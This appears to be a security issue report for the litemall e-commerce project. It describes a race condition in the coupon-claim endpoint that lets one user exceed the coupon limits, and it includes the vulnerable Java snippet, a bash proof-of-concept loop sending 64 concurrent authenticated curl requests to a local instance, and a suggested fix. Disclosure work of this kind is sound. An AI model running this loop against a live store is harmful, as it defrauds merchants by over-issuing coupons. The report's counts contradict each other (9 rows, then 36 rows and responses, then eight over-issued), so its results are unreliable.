#581·litemall

[Vulnerability] Coupon over-claims due to TOCTOU race

Author: LeeziaoCreated Jul 22, 2026Updated Jul 22, 2026

linlinjava/litemall has a TOCTOU race in POST /wx/coupon/receive. A coupon seeded with total=1 and limit=1 produced 9 claim rows after 64 concurrent requests.

Details

WxCouponController.receive counts existing claims, checks total and the per-user limit, then inserts a claim without a transactionally atomic reservation (litemall-wx-api/.../WxCouponController.java:192-203,228-244).

java
Integer totalCoupons = couponUserService.countCoupon(couponId);
if (totalCoupons >= total) return couponExceedLimit;
Integer userCoupons = couponUserService.countUserAndCoupon(userId, couponId);
if (userCoupons >= limit) return couponExceedLimit;
couponUserService.add(couponUser);

PoC

Deploy the real litemall application with MySQL 8. Login as user123/user123 and use the returned token.

NORMAL — two sequential requests for coupon 1001 returned:

{"errno":0,"errmsg":"成功"}
{"errno":740,"errmsg":"优惠券已领完"}

VULNERABLE — clear only the local test coupon rows, then send 64 concurrent requests:

bash
for i in $(seq 1 64); do
  curl -s -X POST 'http://127.0.0.1:18182/wx/coupon/receive' \
    -H "X-Litemall-Token: $TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"couponId":1001}' > "/tmp/litemall-race-$i.out" &
done
wait

Observed response distribution: 36 success responses. A query executed with docker compose exec db returned 36 rows for coupon 1001 although total=1 and limit=1.

Image

Impact

An authenticated user can obtain more instances of a limited coupon than the configured global and per-user limits. The observed run over-issued eight coupons.

Suggested Fix

Reserve the coupon with an atomic conditional update or a transaction protected by a unique constraint and a locked counter. Return failure when the reservation affects no row.